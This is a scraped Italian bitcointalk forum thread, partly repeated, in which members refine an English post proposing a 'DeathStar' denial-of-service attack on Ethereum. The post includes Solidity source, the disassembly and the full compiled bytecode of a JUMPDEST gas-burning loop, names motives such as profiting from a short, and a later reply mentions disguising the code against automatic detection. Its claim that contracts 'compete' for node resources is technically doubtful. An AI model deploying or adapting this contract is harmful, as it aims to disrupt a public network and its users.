purtroppo in quella sezione viene scritto di tutto e di più sulla qualunque alt, e alla velocità con cui scorrono le pagine è veramente difficile tenere in cima la discussione. Hai pensato di postarlo su Reddit? Lì c'è un canale dedicato solo a Ethereum, dove sicuramente catturerebbe anche l'attenzione di qualche dev: https://www.reddit.com/r/ethereum/Non so hai seguito la discussion precedentemente- L'idea era postarlo qui nel forum nella sezione internazionale alt coin, vedere se mi fanno critiche sensate, quindi lasciar perdere se mi motivano seriamente che e' una cazzata, oppure perfezionarlo se mi fano critiche costruttive, e poi una volta perfezionato diffonderlo un po'. Il livello delle sezione mi sembra abbastanza sul tipo "su quale altoin devo investire oggi pomeriggio per diventare ricco entro dopodomani" piuttosto che di discussione tecnica... ma vediamo, magari qualche tecnico per sbaglio ogni tanto ci passa  appunto, il problema mi pare proprio quello. Ci hai speso un bel po' di tempo e hai fatto degli approfondimenti che ben pochi utilizzatori si sognerebbero di fare (ma forse anche tra chi ci sviluppa qualche dapp), sarebbe un peccato se fosse fatica sprecata perché il topic si perde nel rumore di fondo... Ah non ti preoccupare, sono un tipo coriaceo. Adesso la lascio li' a "sobollire" qualche giorno, (magari se mi autate a fare un up ogni tanto...) Poi se non viene fuori niente di interessante, provo altre strade. |
|
|
|
purtroppo in quella sezione viene scritto di tutto e di più sulla qualunque alt, e alla velocità con cui scorrono le pagine è veramente difficile tenere in cima la discussione. Hai pensato di postarlo su Reddit? Lì c'è un canale dedicato solo a Ethereum, dove sicuramente catturerebbe anche l'attenzione di qualche dev: https://www.reddit.com/r/ethereum/Non so hai seguito la discussion precedentemente- L'idea era postarlo qui nel forum nella sezione internazionale alt coin, vedere se mi fanno critiche sensate, quindi lasciar perdere se mi motivano seriamente che e' una cazzata, oppure perfezionarlo se mi fano critiche costruttive, e poi una volta perfezionato diffonderlo un po'. Il livello delle sezione mi sembra abbastanza sul tipo "su quale altoin devo investire oggi pomeriggio per diventare ricco entro dopodomani" piuttosto che di discussione tecnica... ma vediamo, magari qualche tecnico per sbaglio ogni tanto ci passa |
|
|
|
In relazione al problema del bug che ha causato lo split: https://ethernodes.org/client/gethsi vede chiaramente che TUTTORA ancora piu' della meta' dei nodi geth non e' aggiornata. Con sempre piu' convinzione vi dico state lontani da ethereum. |
|
|
|
Attacking the Ethereum network: a possible strategy.By gbianchi bitcointalk.org Translated by fillippone. This study stems from some observations: - in the Ethereum network there is no concept of a "forbidden smart contract", the network is permissionless, meaning any user could possibly enter any type of code on the network, as long as the code is formally correct and pays for executing and running the code;
- each "smart contract" behaves by design like a virus, that is, if run, automatically executed on all nodes, precisely because of the principle of decentralization, each node must re-execute the code to verify the work done by others and reach a consensus together with all the other nodes;
- the only mechanism to "govern" the execution of the code is the fact that the execution of any smart contract costs gas, proportional to the number of instructions executed and the type of each instruction.
- smart contracts are normally written in Solidity but are then compiled and translated into EVM machine language and Solidity gives the possibility to write directly in EVM assembler language;
- once entered, the code is immutable, so there is no way to “get rid” of the smart contract from the network unless a hard fork-type like what happened with The DAO. But while the hacker of The Dao just exploited a bug in the contract to fund its child DAOs, Ethereum's core architecture is used here, making it really difficult to design a fairly effective hard fork.
Based on these observations, it is possible to design a "DeathStar" smart contract whose execution costs as little as possible, and which "burns" ethers only to compete with the other smart contracts on the various nodes, and obtain as many processing resources as possible, slowing down and stagnating the execution of all other smart contracts. A group of attackers could be incentivized for various reasons to burn ethers to jeopardize the network, for example: - Being supporters of another competing blockchain protocol.
- Organizing a short on Ethereum before the attack, congesting the Ethereum network and short covering at lower prices, covering the initial costs of the attack and eventually profiting from it.
- Cause problems to one or more of the various smart contracts running on Ethereum.
In general, any person or group with sufficient economical and technical means and with any type of interest in the decline of the Ethereum network and/or the smart contracts running there could use this line of attack.
DeathStar technical descriptionThe Ethereum yellow paper is the official source of information. Inside there are (among many other things) the description of the EVM (Ethereum Virtual Machine) opcodes and the tables of the gas cost of each opcode. It turns out that each smart contract is compiled and converted into an EVM machine opcode, and from the table "Appendix G FEE SCHEDULE" it is stated that these opcodes have costs ranging from 0 gas (OPcode STOP, RETURN, REVERT) up to 20,000 gas or more for data store opcode, 32,000 gases for CREATE etc. Let us now introduce the concept of average cost per opcode. A smart contract is composed of a set of opcodes that form the smart contract’s logic, therefore functional calls, logical operations, calculations, storage of results, etc. The execution of a smart contract will therefore be the execution of many of these opcodes, with various costs, which ultimately lead to the total cost of the execution. Suppose that a smart contract executes these opcodes: 10 of 3 gases, 5 of 8 gases, one of 700 gases and one of 20,000 gases (storage operations are very expensive). We will therefore have a total cost of 30 + 40 + 700 + 20,000 = 20770 gas for 17 opcodes. The average cost per opcode will therefore be 1221.76 gas. In order to be the most "competitive" smart contract in terms of cost per opcode, DeathStar will have to be designed around an opcode that costs as little as possible, to have the lowest average cost per opcode possible. You cannot use cost 0 opcodes (STOP, RETURN, REVERT) as they all terminate the execution of the smart contract. So let's move on to the only opcode at the cost of 1 gas: JUMPDEST. Jumpdest is an opcode that does almost nothing except "Mark a valid destination for jump". It does not push and/or pop from the stack, it does nothing but set a position where you can jump with a JUMP. The idea is to wrap a series of JUMPDEST opcodes in a loop, in such a way as to lower as much as possible the average cost per opcode to execute this loop, to make it close to 1 gas per opcode, target to which none smart contract that implements some logic will never even remotely arrive. But remember our purpose is not to have a logic (in fact from a processing point of view this code does not produce anything, it has no logic) it is simply to have the lowest possible average cost per opcode, to execute with a certain sum the largest possible number of opcodes that "drain" computing resources from the network. The last note we need to know is that ethereum has a very simple criterion for "breaking" infinite loops (the Turing Halting Problem): it ends them when the funds run out. So by appropriately loading the smart contract with funds, it will continue to run, scaling a gas to opcode (on average) in competition with other much more expensive smart contracts in terms of average cost to opcode, which is exactly the purpose that we were set to: Have a smart contract that burns ethereum at the lowest possible cost competing with others mart running contracts that will have far higher average costs per opcode. A "trick" that helps us to obtain the binary code is that in the old versions of solidity (up to version 0.4) it was possible to enter tags for jump instructions in assembler and that these tags were implemented with Jumpdest opcodes, then using a sole compiler of version 0.4.x the code is compiled in an instant. Coincidentally, this coding technique is no longer possible in new compilers. DeathStar code: [/list] pragma solidity ^0.4.0;
// The presence of the payable modifier means that the function can process transactions with non-zero Ether value.
// If a transaction that transfers Ether comes to the contract and calls some function X,
// then if this function X does not have the payable modifier, then the transaction will be rejected.
// Add a fake input and ouput value, so simulate a some logic.
// Note the final code is never excecuted.
contract DeathStar
{
function DeathLoop(uint x) public payable returns (bool)
{
assembly
{
// jumpdest price 1 gas
loop000:
loop001:
loop002:
loop003:
loop004:
...
loop996:
loop997:
loop998:
loop999:
// push address stack+1 price Wverylow=3gas
// jmp address stack-1 price Wmid=8gas
jump(loop000)
}
// fake code never executed
if (x > 5) return(true);
else return(false);
}
}
Once compiled, it is shown as: ...
JUMPDEST
JUMPDEST
JUMPDEST
...
JUMPDEST
JUMPDEST
PUSH2 0x6E
JUMP
With 1000 jumpdest (each loopxxx tag: generates a jumpdest) + a push (cost 3 gas) + a jump (cost 8 gas) we have 1002 opcode at 1011 gas the average cost per opcode of the loop is therefore around 1.0089 gas. Assuming a gas cost of 36 Gwei, we have an average cost per instruction of 36.32 Gwei per opcode, i.e. with a single Ethereum we can perform 27,500,000 opcodes. Note that adding more jumpdest lengthens the code but improves the average cost per opcode very marginally, I don't think it's worth it. Binary code of the compiled smart contract: Binary:
6060604052341561000c57fe5b5b6104958061001c6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636e62ff351461003b575bfe5b610051600480803590602001909190505061006b565b604051808215151515815260200191505060405180910390f35b60005b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b61006e565b60009050610464565b5b9190505600a165627a7a72305820b5446b266264bd3c7a82cb31fb01f7458fbd7dd1815773c5a6f5c0bc86dabb8f0029
Thanks to the guys from the Italian community of bitcointalk.org (filippone, acquafredda, HostFat, jack0m and others) who gave me interesting ideas for the realization of this study.
References:ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGERThe Ethereum Virtual Machine — How does it work?WHAT IS ETHEREUM MINING?Does every node execute the contract code for each transaction?Smart contract execution without making transaction on ethereum blockchainView/Pure Gas usage - Cost gas if called internally by another function?What is the difference between a transaction and a call?Calls vs. transactions in Ethereum smart contractsHow Bitcoin and Ethereum solved the Halting Problem differentlyWhy is Bitcoin not Turing complete? |
|
|
|
|
ho messo il sorgente modificato ed il nuovo binario compilato,
ho aggiornato la lista reference (anche se ho un po' spaccato la formattazione.
che ne dite, posto in alt-coin?
|
|
|
|
Attacking the Ethereum network: a possible strategy.By gbianchi bitcointalk.org Translated by fillippone. This study stems from some observations: - in the Ethereum network there is no concept of a "forbidden smart contract", the network is permissionless, meaning any user could possibly enter any type of code on the network, as long as the code is formally correct and pays for executing and running the code;
- each "smart contract" behaves by design like a virus, that is, if run, automatically executed on all nodes, precisely because of the principle of decentralization, each node must re-execute the code to verify the work done by others and reach a consensus together with all the other nodes;
- the only mechanism to "govern" the execution of the code is the fact that the execution of any smart contract costs gas, proportional to the number of instructions executed and the type of each instruction.
- smart contracts are normally written in Solidity but are then compiled and translated into EVM machine language and Solidity gives the possibility to write directly in EVM assembler language;
- once entered, the code is immutable, so there is no way to “get rid” of the smart contract from the network unless a hard fork-type like what happened with The DAO. But while the hacker of The Dao just exploited a bug in the contract to fund its child DAOs, Ethereum's core architecture is used here, making it really difficult to design a fairly effective hard fork.
Based on these observations, it is possible to design a "DeathStar" smart contract whose execution costs as little as possible, and which "burns" ethers only to compete with the other smart contracts on the various nodes, and obtain as many processing resources as possible, slowing down and stagnating the execution of all other smart contracts. A group of attackers could be incentivized for various reasons to burn ethers to jeopardize the network, for example: - Being supporters of another competing blockchain protocol.
- Organizing a short on Ethereum before the attack, congesting the Ethereum network and short covering at lower prices, covering the initial costs of the attack and eventually profiting from it.
- Cause problems to one or more of the various smart contracts running on Ethereum.
In general, any person or group with sufficient economical and technical means and with any type of interest in the decline of the Ethereum network and/or the smart contracts running there could use this line of attack.
DeathStar technical descriptionThe Ethereum yellow paper is the official source of information. Inside there are (among many other things) the description of the EVM (Ethereum Virtual Machine) opcodes and the tables of the gas cost of each opcode. It turns out that each smart contract is compiled and converted into an EVM machine opcode, and from the table "Appendix G FEE SCHEDULE" it is stated that these opcodes have costs ranging from 0 gas (OPcode STOP, RETURN, REVERT) up to 20,000 gas or more for data store opcode, 32,000 gases for CREATE etc. Let us now introduce the concept of average cost per opcode. A smart contract is composed of a set of opcodes that form the smart contract’s logic, therefore functional calls, logical operations, calculations, storage of results, etc. The execution of a smart contract will therefore be the execution of many of these opcodes, with various costs, which ultimately lead to the total cost of the execution. Suppose that a smart contract executes these opcodes: 10 of 3 gases, 5 of 8 gases, one of 700 gases and one of 20,000 gases (storage operations are very expensive). We will therefore have a total cost of 30 + 40 + 700 + 20,000 = 20770 gas for 17 opcodes. The average cost per opcode will therefore be 1221.76 gas. In order to be the most "competitive" smart contract in terms of cost per opcode, DeathStar will have to be designed around an opcode that costs as little as possible, to have the lowest average cost per opcode possible. You cannot use cost 0 opcodes (STOP, RETURN, REVERT) as they all terminate the execution of the smart contract. So let's move on to the only opcode at the cost of 1 gas: JUMPDEST. Jumpdest is an opcode that does almost nothing except "Mark a valid destination for jump". It does not push and/or pop from the stack, it does nothing but set a position where you can jump with a JUMP. The idea is to wrap a series of JUMPDEST opcodes in a loop, in such a way as to lower as much as possible the average cost per opcode to execute this loop, to make it close to 1 gas per opcode, target to which none smart contract that implements some logic will never even remotely arrive. But remember our purpose is not to have a logic (in fact from a processing point of view this code does not produce anything, it has no logic) it is simply to have the lowest possible average cost per opcode, to execute with a certain sum the largest possible number of opcodes that "drain" computing resources from the network. The last note we need to know is that ethereum has a very simple criterion for "breaking" infinite loops (the Turing Halting Problem): it ends them when the funds run out. So by appropriately loading the smart contract with funds, it will continue to run, scaling a gas to opcode (on average) in competition with other much more expensive smart contracts in terms of average cost to opcode, which is exactly the purpose that we were set to: Have a smart contract that burns ethereum at the lowest possible cost competing with others mart running contracts that will have far higher average costs per opcode. A "trick" that helps us to obtain the binary code is that in the old versions of solidity (up to version 0.4) it was possible to enter tags for jump instructions in assembler and that these tags were implemented with Jumpdest opcodes, then using a sole compiler of version 0.4.x the code is compiled in an instant. Coincidentally, this coding technique is no longer possible in new compilers. DeathStar code: [/list] pragma solidity ^0.4.0;
// The presence of the payable modifier means that the function can process transactions with non-zero Ether value.
// If a transaction that transfers Ether comes to the contract and calls some function X,
// then if this function X does not have the payable modifier, then the transaction will be rejected.
// Add a fake input and ouput value, so simulate a some logic.
// Note the final code is never excecuted.
contract DeathStar
{
function DeathLoop(uint x) public payable returns (bool)
{
assembly
{
// jumpdest price 1 gas
loop000:
loop001:
loop002:
loop003:
loop004:
...
loop996:
loop997:
loop998:
loop999:
// push address stack+1 price Wverylow=3gas
// jmp address stack-1 price Wmid=8gas
jump(loop000)
}
// fake code never executed
if (x > 5) return(true);
else return(false);
}
}
Once compiled, it is shown as: ...
JUMPDEST
JUMPDEST
JUMPDEST
...
JUMPDEST
JUMPDEST
PUSH2 0x6E
JUMP
With 1000 jumpdest (each loopxxx tag: generates a jumpdest) + a push (cost 3 gas) + a jump (cost 8 gas) we have 1002 opcode at 1011 gas the average cost per opcode of the loop is therefore around 1.0089 gas. Assuming a gas cost of 36 Gwei, we have an average cost per instruction of 36.32 Gwei per opcode, i.e. with a single Ethereum we can perform 27,500,000 opcodes. Note that adding more jumpdest lengthens the code but improves the average cost per opcode very marginally, I don't think it's worth it. Binary code of the compiled smart contract: Binary:
6060604052341561000c57fe5b5b6104958061001c6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636e62ff351461003b575bfe5b610051600480803590602001909190505061006b565b604051808215151515815260200191505060405180910390f35b60005b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b61006e565b60009050610464565b5b9190505600a165627a7a72305820b5446b266264bd3c7a82cb31fb01f7458fbd7dd1815773c5a6f5c0bc86dabb8f0029
Thanks to the guys from the Italian community of bitcointalk.org (filippone, acquafredda, HostFat, jack0m and others) who gave me interesting ideas for the realization of this study.
References:ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGERThe Ethereum Virtual Machine — How does it work?WHAT IS ETHEREUM MINING?Does every node execute the contract code for each transaction?Smart contract execution without making transaction on ethereum blockchainView/Pure Gas usage - Cost gas if called internally by another function?What is the difference between a transaction and a call?Calls vs. transactions in Ethereum smart contractsHow Bitcoin and Ethereum solved the Halting Problem differentlyWhy is Bitcoin not Turing complete? |
|
|
|
Comincio a credere (a temere) che qualsiasi cosa succeda su ethereum, per quanto grave, non importi nulla a nessuno. Forse solo un blocco totale della rete potrebbe impattare, ma tutto il resto passa inosservato. |
|
|
|
Ho rivisto e apportato alcuni suggerimenti con correzioni al testo tradotto inizialmente da filli. Dal punto di vista tecnico non mi sono espresso non essendo mia materia, a livello linguistico mi sembra fili ho condiviso soltanto migliorie minimali e aggiunto alcuni punti che secondo me andavano menzionati. Per il resto, per lo scopo del thread a me sembra pronto per essere dato in pasto al mondo. https://docs.google.com/document/d/1lVAFE-2RjhTqPS8P58ZaW8uBE2bhWz-3n0ksZRJ39Wk/editHo accettato le revisioni proposte da acquafredda. A questo punto @gbianchi, se vuoi aggiornare il codice, dovremmo essere pronti. Fammi una cortesia, come eravamo d'accordo passami via PM la pagina formattata con il formato del forum. Preferisco metterla a punto qui sul forum, gia' nel formato che poi usero' per il post. |
|
|
|
Interessante discussione. La possibilità (teorica o pratica) di questo tipo di attacchi è una conseguenza delle scelte architetturali di Ethereum che ha preferito integrare nello stesso layer base le funzioni monetarie (ether, con cui si pagano le fees anche degli smart contracts) e quelle computazionali (gli smart contracts). L'attacco di spam di cui si parla in questo thread non sarebbe concettualmente molto diverso da mandare avanti e indietro gli stessi satoshi su rete Bitcoin per N volte fin quando lo spazio di blocco non viene saturato rendendo impossibile processare nuove transazioni. Anche lì tutto si tradurrebbe in un'analisi costi-risultati. La differenza sta appunto nel fatto che i vettori di attacco su Bitcoin si limitano all'aspetto monetario, mentre su Ethereum coinvolgono il lato monetario e quello computazionale, che sono indissolubilmente legati. La scelta adottata da Bitcoin è stata invece quella di tenere gli smart contracts di tipo Turing-complete fuori dalla catena principale (su una sidechain come RSK): in questo modo un attacco del tipo descritto su questo thread avrebbe effetti solo sulla sidechain, il cui gas è una valuta parallela a bitcoin (RBTC), e non pregiudicherebbe in nessun modo il funzionamento del layer monetario di base. Una architettura più complessa, più difficile da sviluppare ma più facile da mantenere e da proteggere nel suo "core" (la blockhain bitcoin principale). Per quanto riguarda lo scaling e la decentralizzazione di Ethereum la strada intrapresa è quella dello "sharding", ma viene, come il passaggio al POS, periodicamente rimandato. Le ultime news sono nel 2022 sebbene i contorni di questa tecnologia siano ancora molto fumosi https://ethereum.org/en/eth2/shard-chains/#what-is-shardinginfatti la modulazione di costi degli opcode e' un tema fisso (anche se per nulla publicizzato) degli hard fork. QUi ad esempio definisce https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/berlin.mduna nuova rimodulazione del costo degli opcode. Effettivamente l'assegnare un costo "adeguato" agli opcode dovrebbe essere una funzione dinamica, in base all'utilizzo medio. Il solo fatto di avere degli opcode a costo prefissato e' un errore progettuale non da poco. Supponiamo che la mia strategia di attacco funzioni, e che la soluzione sia di aumentare il costo dell'opcode "jumpdest" con un hard fork. Ma immediatamente si puo' riproporre un attacco del genere su un altro tipo di opcode appena piu' costoso. E cosi' via all'infinito. |
|
|
|
Ma davvero ETH ha un yellow-paper?
Conoscevo i white paper, anche prima di Bitcoin.... ma yellow paper mi è nuova... anche se apparentemente c'è un significato:
Si, anche se (come ho gia' scritto) assomiglia un po' alla scritta sul muro della fattoria degli animali... per essere buoni diciamo che e' abbastanza fluido. Infatti lo tengono in github. Io nel frattempo ho fatto qualche piccola modifica al codice per renderlo piu' facilmente utilizzabile, e anche meno palesemente "inutile" (per rendere un po' piu' difficile un'eventuale individuazione automatica) EDIT ecco una lista delle versioni https://github.com/ethereum/yellowpaper/blob/master/BRANCHES.mdche mostra che e' stato gia' fatto questo hard fork (tangerine-wistle) con aumento di costi per istruzioni Increase the gas cost of EXTCODESIZE to 700 (from 20). Increase the base gas cost of EXTCODECOPY to 700 (from 20). Increase the gas cost of BALANCE to 400 (from 20). Increase the gas cost of SLOAD to 200 (from 50). Increase the gas cost of CALL, DELEGATECALL, CALLCODE to 700 (from 40). Increase the gas cost of SELFDESTRUCT to 5000 (from 0). If SELFDESTRUCT hits a newly created account, it triggers an additional gas cost of 25000 (similar to CALLs). Increase the recommended gas limit target to 5.5 million. Define “all but one 64th” of N as N - floor(N / 64). If a call asks for more gas than the maximum allowed amount (i.e. the total amount of gas remaining in the parent after subtracting the gas cost of the call and memory expansion), do not return an OOG error; instead, if a call asks for more gas than all but one 64th of the maximum allowed amount, call with all but one 64th of the maximum allowed amount of gas (this is equivalent to a version of EIP-901 plus EIP-1142). CREATE only provides all but one 64th of the parent gas to the child call. e questo hard fork spurious-dragon ha aumentato il costo di EXP |
|
|
|
Abbiamo delle società leader in Europa su questo fronte e non lo sappiamo neanche.... cioè, noi lo sappiamo, il giornalista no.
[ot] Da giovane mi sono interessato a vari argomenti. Mi sono interessato all'informatica -> Sui giornali leggevo articoli che parlavano di informatica insensati. Mi sono interessato alla fisica -> sui giornali leggevo (fortunatamente raramente) articoli che parlavano di fisica (e scienza piu' in generale) ridicoli. Mi sono interesssato alla musica -> sui giornali leggevo articoli che parlavano di musica con castronerie immonde. Mi sono interessato alla matematica e alla statistica -> spero non abbiate mai la sventura di leggere articoli su dati ed analisi dei dati (peccato che con il Covid sia impossibile non incorrere in questa sventura) Piu' recentemente mi sono interessato di cryptovalute -> sui giornali leggo cose che voi umani... (Ovviamente sto parlando dei quotidiani generalisti, non di riviste specializzate, che sono tutt'altra cosa) Il consiglio che mi sento senza dubbio di darvi e': NON LEGGETE (o seguite in ogni forma) L'INFORMAZIONE GENERALISTA. Nella migliore delle ipotesi e' tempo perso, nella maggior parte dei casi vi fa diventare idioti. [/ot] |
|
|
|
Potete partire da questo ed usarlo e modifcarlo.
TI ho messo qualche nota, guarda se le vedi Ho accettato i suggerimenti, e già che c'ero ho corretto qualche errore di battitura e reso un pò più snella la forma. Giusto per evitare troppi sbattimenti formattando il documento con link o quant'altro: vuoi pubblicare solo in un thread qui su bitcointalk o vuoi metterlo su medium/ altre parti? In una prima fase probabilmente e' meglio mtterlo qui su bitcointalk come post. Tipo, se arriva uno e mi dice "e' una solenne cazzata per questo e quest'altro FONDATO motivo" allora e' inutile qualsiasi sbattimento ulteriore. Oppure arriva un'altro e fa "ah si interessante ma c'e' questo e quest'altro che non funziona" e quindi bisogna sistemarlo... insomma direi che in una prima fase e' meglio stare fluidi Sono d'accordissimo. Quando pensi che sia pronto, magari aspettiamo anche acquafredda, posso prepararti la versione "codificata" per bitcointalk (link, elenchi etc) e te la mando via PM, in modo che tu possa quindi semplicemente copiare come OP su un nuovo thread. Ok perfetto, poi quando me la manderai prima la posto qui per vedere che faccia fa, poi se va bene creo un thread nella sezione alt-coin internazionale. qui per capirci : https://bitcointalk.org/index.php?board=67.0(o sai se c'e' una sezione piu' adatta?) |
|
|
|
Potete partire da questo ed usarlo e modifcarlo.
TI ho messo qualche nota, guarda se le vedi Ho accettato i suggerimenti, e già che c'ero ho corretto qualche errore di battitura e reso un pò più snella la forma. Giusto per evitare troppi sbattimenti formattando il documento con link o quant'altro: vuoi pubblicare solo in un thread qui su bitcointalk o vuoi metterlo su medium/ altre parti? In una prima fase probabilmente e' meglio mtterlo qui su bitcointalk come post. Tipo, se arriva uno e mi dice "e' una solenne cazzata per questo e quest'altro FONDATO motivo" allora e' inutile qualsiasi sbattimento ulteriore. Oppure arriva un'altro e fa "ah si interessante ma c'e' questo e quest'altro che non funziona" e quindi bisogna sistemarlo... insomma direi che in una prima fase e' meglio stare fluidi |
|
|
|
Potete partire da questo ed usarlo e modifcarlo.
